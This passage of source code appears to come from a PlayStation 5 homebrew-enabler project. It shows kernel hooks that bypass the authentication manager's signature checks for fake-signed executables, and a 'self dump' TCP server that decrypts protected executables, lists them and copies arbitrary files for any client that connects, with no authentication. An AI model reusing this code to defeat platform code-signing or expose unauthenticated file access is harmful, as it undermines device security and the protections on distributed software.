install_hook(HOOK_FSELF_SCE_SBL_AUTHMGR_LOAD_MULTIPLE_SELF_BLOCKS, (void *) &_sceSblAuthMgrSmLoadMultipleSelfBlocks_sceSblServiceMailbox); 263 | 264 | printf("[HEN] [FSELF] sceSblAuthMgrIsLoadable() -> sceSblACMgrGetPathId()\n"); 265 | install_hook(HOOK_FSELF_SCE_SBL_AUTHMGR_IS_LOADABLE_CALL_GET_PATHID, (void *) &sceSblACMgrGetPathId_hook); 266 | } 267 | -------------------------------------------------------------------------------- /src/self.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | 13 | extern "C" 14 | { 15 | #include 16 | } 17 | 18 | #include "config.h" 19 | #include "debug_log.h" 20 | #include "elf.h" 21 | #include "kdlsym.h" 22 | #include "paging.h" 23 | #include "self.h" 24 | #include "util.h" 25 | 26 | extern "C" 27 | { 28 | int sceKernelOpen(const char *, int, int); 29 | int sceKernelClose(int); 30 | int sceKernelGetdents(int, char *, int); 31 | } 32 | 33 | int g_die; 34 | 35 | int decrypt_self(char *path, char **out_data, int *out_size) 36 | { 37 | int self_fd; 38 | uint64_t final_file_size; 39 | struct elf64_hdr *elf_header; 40 | struct elf64_phdr *start_phdrs; 41 | struct elf64_phdr *cur_phdr; 42 | struct sce_self_header *header; 43 | char *self_file_data; 44 | char *out_file_data; 45 | void *segment_data; 46 | char note_buf[0x1000]; 47 | 48 | SOCK_LOG("decrypt_self: path=[%s]\n", path); 49 | 50 | // Open SELF file 51 | self_fd = open(path, O_RDONLY); 52 | if (self_fd < 0) 53 | return self_fd; 54 | 55 | self_file_data = (char *) mmap(NULL, 0x1000, PROT_READ, MAP_SHARED, self_fd, 0); 56 | if (self_file_data == MAP_FAILED) { 57 | close(self_fd); 58 | return -ENOMEM; 59 | } 60 | 61 | header = (struct sce_self_header *) self_file_data; 62 | 63 | // Get ELF headers 64 | elf_header = (struct elf64_hdr *) (self_file_data + sizeof(struct sce_self_header) + 65 | (sizeof(struct sce_self_segment_header) * header->segment_count)); 66 | start_phdrs = (struct elf64_phdr *) ((char *) (elf_header) + sizeof(struct elf64_hdr)); 67 | 68 | // Allocate backing buffer for output file data. We'll get size by finding the NOTE program header which should be 69 | // in most SELFs 70 | cur_phdr = start_phdrs; 71 | final_file_size = 0; 72 | for (int i = 0; i < elf_header->e_phnum; i++) { 73 | final_file_size = MAX(final_file_size, cur_phdr->p_offset + cur_phdr->p_filesz); 74 | cur_phdr++; 75 | } 76 | 77 | if (final_file_size == 0) { 78 | munmap(self_file_data, 0x1000); 79 | close(self_fd); 80 | return -EINVAL; 81 | } 82 | 83 | // Map buffer for output data 84 | out_file_data = (char *) mmap(NULL, final_file_size, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0); 85 | if (out_file_data == MAP_FAILED) { 86 | munmap(self_file_data, 0x1000); 87 | close(self_fd); 88 | return -12; 89 | } 90 | 91 | // Copy ELF headers over 92 | memcpy(out_file_data, elf_header, sizeof(struct elf64_hdr)); 93 | memcpy(out_file_data + sizeof(struct elf64_hdr), start_phdrs, elf_header->e_phnum * sizeof(struct elf64_phdr)); 94 | 95 | // Decrypt and copy segments 96 | cur_phdr = start_phdrs; 97 | for (uint64_t i = 0; i < elf_header->e_phnum; i++) { 98 | if (cur_phdr->p_type == PT_LOAD || cur_phdr->p_type == 0x61000000) { 99 | SOCK_LOG("decrypt_self: seg=0x%lx\n", i); 100 | segment_data = mmap(NULL, cur_phdr->p_filesz, PROT_READ, MAP_SHARED | 0x80000, self_fd, (i << 32)); 101 | SOCK_LOG("decrypt_self: segment_data = %p\n", segment_data); 102 | if (segment_data == MAP_FAILED) { 103 | munmap(self_file_data, 0x1000); 104 | close(self_fd); 105 | return -EIO; 106 | } 107 | 108 | SOCK_LOG("decrypt_self: copying %p (size = 0x%lx)\n", segment_data, cur_phdr->p_filesz); 109 | DumpHex(segment_data, 0x100); 110 | memcpy(out_file_data + cur_phdr->p_offset, segment_data, cur_phdr->p_filesz); 111 | SOCK_LOG("decrypt_self: unmap %p\n", segment_data); 112 | munmap(segment_data, cur_phdr->p_filesz); 113 | SOCK_LOG("decrypt_self: done\n"); 114 | } 115 | 116 | if (cur_phdr->p_type == 0x6FFFFF00) { 117 | lseek(self_fd, cur_phdr->p_offset, SEEK_SET); 118 | read(self_fd, ¬e_buf, cur_phdr->p_filesz); 119 | memcpy(out_file_data + cur_phdr->p_offset, note_buf, cur_phdr->p_filesz); 120 | } 121 | cur_phdr++; 122 | } 123 | 124 | munmap(self_file_data, 0x1000); 125 | close(self_fd); 126 | 127 | *out_data = (char *) out_file_data; 128 | *out_size = (int) final_file_size; 129 | return 0; 130 | } 131 | 132 | int get_self_list(char *dir, char **out_buf, int *out_size) 133 | { 134 | int ret; 135 | int dir_fd; 136 | int file_fd; 137 | int magic; 138 | char file_path[0x100]; 139 | int file_name_size; 140 | char *dirent_buf; 141 | struct dirent *entry; 142 | char *out_buf_cur; 143 | int out_buf_size; 144 | 145 | //SOCK_LOG("get_self_list: dir=[%s]\n", dir); 146 | 147 | // Open directory 148 | dir_fd = sceKernelOpen(dir, O_RDONLY, 0); 149 | if (dir_fd < 0) 150 | return dir_fd; 151 | 152 | // Map buffer for dirents 153 | dirent_buf = (char *) mmap(NULL, 0x40000, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0); 154 | if (dirent_buf == MAP_FAILED) { 155 | sceKernelClose(dir_fd); 156 | return -ENOMEM; 157 | } 158 | 159 | // Get dirents 160 | ret = sceKernelGetdents(dir_fd, dirent_buf, 0x40000); 161 | if (ret < 0) { 162 | sceKernelClose(dir_fd); 163 | return ret; 164 | } 165 | 166 | // Map buffer for output 167 | *out_buf = (char *) mmap(NULL, 0x40000, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0); 168 | if (*out_buf == MAP_FAILED) { 169 | sceKernelClose(dir_fd); 170 | return -ENOMEM; 171 | } 172 | 173 | out_buf_cur = (char *) (*out_buf); 174 | out_buf_size = 0; 175 | 176 | // Iterate dirents and find selfs 177 | entry = (struct dirent *) (dirent_buf); 178 | while (entry->d_fileno) { 179 | if (entry->d_type == DT_REG) { 180 | // Open file 181 | file_name_size = strlen(entry->d_name) + 1; 182 | sprintf((char *) &file_path, "%s/%s", dir, entry->d_name); 183 | file_fd = open(file_path, O_RDONLY, 0); 184 | if (file_fd < 0) { 185 | continue; 186 | } 187 | 188 | // Check if it's a Prospero SELF 189 | read(file_fd, (void *) &magic, sizeof(magic)); 190 | if (magic == SELF_PROSPERO_MAGIC) { 191 | // Copy into the list and advance cursor 192 | strcpy(out_buf_cur, entry->d_name); 193 | out_buf_cur += file_name_size; 194 | out_buf_size += file_name_size; 195 | } 196 | 197 | close(file_fd); 198 | } 199 | 200 | entry = (struct dirent *) ((char *) entry + entry->d_reclen); 201 | } 202 | 203 | // Unmap dirent buf we don't need it anymore 204 | munmap(dirent_buf, 0x40000); 205 | 206 | // Set output size 207 | *out_size = out_buf_size; 208 | 209 | //SOCK_LOG("test, out = %p, out_size = 0x%x\n", *out_buf, *out_size); 210 | DumpHex(*out_buf, 0x200); 211 | 212 | // Close directory 213 | sceKernelClose(dir_fd); 214 | return 0; 215 | } 216 | 217 | int copy_file(char *paths) 218 | { 219 | int in_fd; 220 | int out_fd; 221 | ssize_t read_bytes; 222 | ssize_t written_bytes; 223 | char *in_path; 224 | char *out_path; 225 | char buf[0x1000]; 226 | 227 | in_path = paths; 228 | out_path = paths + (strlen(paths) + 1); 229 | 230 | SOCK_LOG("[+] copy_file(%s, %s)\n", in_path, out_path); 231 | 232 | in_fd = open(in_path, O_RDONLY); 233 | if (in_fd < 0) 234 | return in_fd; 235 | 236 | remove(out_path); 237 | 238 | out_fd = open(out_path, O_RDWR | O_CREAT); 239 | SOCK_LOG("tst2 = 0x%x (%s)\n", out_fd, strerror(errno)); 240 | if (out_fd < 0) 241 | return out_fd; 242 | 243 | SOCK_LOG(" [+] in_fd = 0x%x, out_fd = 0x%x\n", in_fd, out_fd); 244 | 245 | while ((read_bytes = read(in_fd, buf, sizeof(buf))) > 0) { 246 | written_bytes = write(out_fd, buf, read_bytes); 247 | if (written_bytes != read_bytes) { 248 | SOCK_LOG("[!] failed to copy file (%ld != %ld) (%s)\n", written_bytes, read_bytes, strerror(errno)); 249 | break; 250 | } 251 | } 252 | 253 | close(in_fd); 254 | close(out_fd); 255 | 256 | return 0; 257 | } 258 | 259 | int read_verify_request_header(int client, struct self_rpc_ctrl_header *out_header) 260 | { 261 | int ret; 262 | 263 | // Read in the header and ensure we received exactly enough data for it 264 | SOCK_LOG("[SRV] [SELF] [%d] waiting on request\n", client); 265 | ret = read(client, (void *) out_header, sizeof(struct self_rpc_ctrl_header)); 266 | if (ret != sizeof(struct self_rpc_ctrl_header)) { 267 | SOCK_LOG("[SRV] [SELF] [%d] failed to read header, expected %lu bytes got %d\n", 268 | client, sizeof(struct self_rpc_ctrl_header), ret); 269 | if (ret <= 0) 270 | return -EBADF; 271 | return -EIO; 272 | } 273 | 274 | // Verify length 275 | if (out_header->len >= SELF_RPC_MAX_BUF_SIZE) { 276 | SOCK_LOG("[SRV] [SELF] [%d] packet too large (0x%x)\n", client, out_header->len); 277 | return -EINVAL; 278 | } 279 | 280 | SOCK_LOG("[SRV] [SELF] [%d] received header\n", client); 281 | return 0; 282 | } 283 | 284 | int read_request_data(int client, struct self_rpc_ctrl_header *req, char *req_data) 285 | { 286 | char *req_data_cur; 287 | int received_bytes = 0; 288 | int ret; 289 | 290 | // Continue to read to receive all the data 291 | req_data_cur = req_data; 292 | while (received_bytes < req->len) { 293 | SOCK_LOG("[SRV] [%d] need an additional 0x%x bytes\n", client, (req->len - received_bytes)); 294 | ret = read(client, req_data_cur, (req->len - received_bytes)); 295 | if (ret < 0) { 296 | return ret; 297 | } 298 | 299 | if (ret == 0) { 300 | SOCK_LOG("[SRV] [%d] received zero-size data\n", client); 301 | return -EIO; 302 | } 303 | 304 | // Advance cursor 305 | req_data_cur += ret; 306 | received_bytes += ret; 307 | } 308 | 309 | if (received_bytes != req->len) { 310 | SOCK_LOG("[SRV] [%d] failed to read all request data, expected %d bytes got %d\n", 311 | client, req->len, received_bytes); 312 | return -EIO; 313 | } 314 | 315 | SOCK_LOG("[SRV] [%d] received data (%d bytes)\n", client, received_bytes); 316 | return received_bytes; 317 | } 318 | 319 | int send_response(int client, int cmd, int status, int len, char *data) 320 | { 321 | int ret; 322 | struct self_rpc_ctrl_header resp_ctrl; 323 | 324 | // Setup response header 325 | resp_ctrl.cmd = cmd; 326 | resp_ctrl.status = status; 327 | resp_ctrl.len = len; 328 | 329 | // Write header 330 | ret = write(client, (void *) &resp_ctrl, sizeof(struct self_rpc_ctrl_header)); 331 | if (ret <= 0) { 332 | SOCK_LOG("[SRV] [SELF] [%d] failed to write response header\n", client); 333 | return -EIO; 334 | } 335 | 336 | // Write data 337 | SOCK_LOG("[SRV] [SELF] [%d] writing data (len=0x%x)\n", client, len); 338 | return write(client, (void *) data, len); 339 | } 340 | 341 | int handle_self_cmd(int client, int cmd, char *in_data, char **out_data_ptr, int *out_len) 342 | { 343 | int status; 344 | int resp_len; 345 | 346 | switch (cmd) { 347 | case SELF_CMD_PING: 348 | SOCK_LOG("[SRV] [SELF] [%d] received ping request\n", client); 349 | status = flash_notification("Self server\nPong!"); 350 | resp_len = 0; 351 | break; 352 | case SELF_CMD_DIE: 353 | SOCK_LOG("[SRV] [SELF] [%d] received die request\n", client); 354 | status = 0; 355 | resp_len = 0; 356 | g_die = 1; 357 | break; 358 | case SELF_CMD_GET_FW: 359 | SOCK_LOG("[SRV] [SELF] [%d] received get fw request\n", client); 360 | status = kernel_get_fw_version() & 0xFFFF0000; 361 | resp_len = 0; 362 | break; 363 | case SELF_CMD_GET_DIR_SELFS: 364 | SOCK_LOG("[SRV] [SELF] [%d] received get dir selfs request\n", client); 365 | status = get_self_list(in_data, out_data_ptr, &resp_len); 366 | break; 367 | case SELF_CMD_DECRYPT_SELF: 368 | SOCK_LOG("[SRV] [SELF] [%d] received decrypt self request\n", client); 369 | status = decrypt_self(in_data, out_data_ptr, &resp_len); 370 | break; 371 | case SELF_CMD_COPY_FILE: 372 | SOCK_LOG("[SRV] [SELF] [%d] received copy file request\n", client); 373 | status = copy_file(in_data); 374 | resp_len = 0; 375 | break; 376 | } 377 | 378 | *out_len = resp_len; 379 | return status; 380 | } 381 | 382 | void handle_self_client(int client) 383 | { 384 | int status; 385 | int resp_len; 386 | struct self_rpc_ctrl_header req_ctrl; 387 | char req_data[SELF_RPC_MAX_BUF_SIZE]; 388 | char *resp_data_ptr; 389 | 390 | // Infinite loop on handling the client until they terminate connection or error occurs 391 | for (;;) { 392 | // Clear info for fresh state 393 | bzero(&req_ctrl, sizeof(struct self_rpc_ctrl_header)); 394 | 395 | // Read header and data 396 | if (read_verify_request_header(client, &req_ctrl) != 0) { 397 | SOCK_LOG("[SRV] [SELF] [%d] received bad header\n", client); 398 | break; 399 | } 400 | 401 | if (req_ctrl.len > 0) { 402 | if (read_request_data(client, &req_ctrl, (char *) &req_data) <= 0) { 403 | SOCK_LOG("[SRV] [SELF] [%d] received bad data\n", client); 404 | break; 405 | } 406 | } 407 | 408 | // Dispatch command handling 409 | status = handle_self_cmd(client, req_ctrl.cmd, (char *) &req_data, &resp_data_ptr, &resp_len); 410 | 411 | // Send response 412 | if (send_response(client, req_ctrl.cmd, status, resp_len, resp_data_ptr) < 0) { 413 | SOCK_LOG("[SRV] [SELF] [%d] failed to write response (%s)\n", client, strerror(errno)); 414 | break; 415 | } 416 | 417 | // If data was mapped, unmap it 418 | if (resp_data_ptr != NULL) 419 | munmap(resp_data_ptr, resp_len); 420 | 421 | // On die command, exit out as server will be shutting down... 422 | if (req_ctrl.cmd == SELF_CMD_DIE) { 423 | SOCK_LOG("[SRV] [SELF] [%d] received die command\n", client); 424 | break; 425 | } 426 | } 427 | 428 | close(client); 429 | SOCK_LOG("[SRV] [SELF] [%d] dropped client\n", client); 430 | } 431 | 432 | int run_self_server(int port) 433 | { 434 | int s; 435 | int client; 436 | struct sockaddr_in sockaddr; 437 | 438 | s = socket(AF_INET, SOCK_STREAM, 0); 439 | bzero(&sockaddr, sizeof(sockaddr)); 440 | 441 | sockaddr.sin_family = AF_INET; 442 | sockaddr.sin_port = htons(port); 443 | sockaddr.sin_addr.s_addr = INADDR_ANY; 444 | 445 | if (bind(s, (const struct sockaddr *) &sockaddr, sizeof(sockaddr)) < 0) { 446 | SOCK_LOG("[!] failed to bind server\n"); 447 | return -1; 448 | } 449 | 450 | if (listen(s, 5) < 0) { 451 | SOCK_LOG("[!] failed to listen on server\n"); 452 | return -1; 453 | } 454 | 455 | SOCK_LOG("[SRV] [SELF] self dump server is now running (port: %d)...\n", port); 456 | 457 | // Accept clients 458 | for (;;) { 459 | if (g_die) { 460 | SOCK_LOG("[SRV] [SELF] rpc server is shutting down...\n"); 461 | close(s); 462 | break; 463 | } 464 | 465 | client = accept(s, 0, 0); 466 | SOCK_LOG("[SRV] [SELF] accepted a client = %d\n", client); 467 | 468 | if (client > 0) { 469 | handle_self_client(client); 470 | } 471 | } 472 | 473 | return 0; 474 | } 475 | --------------------------------------------------------------------------------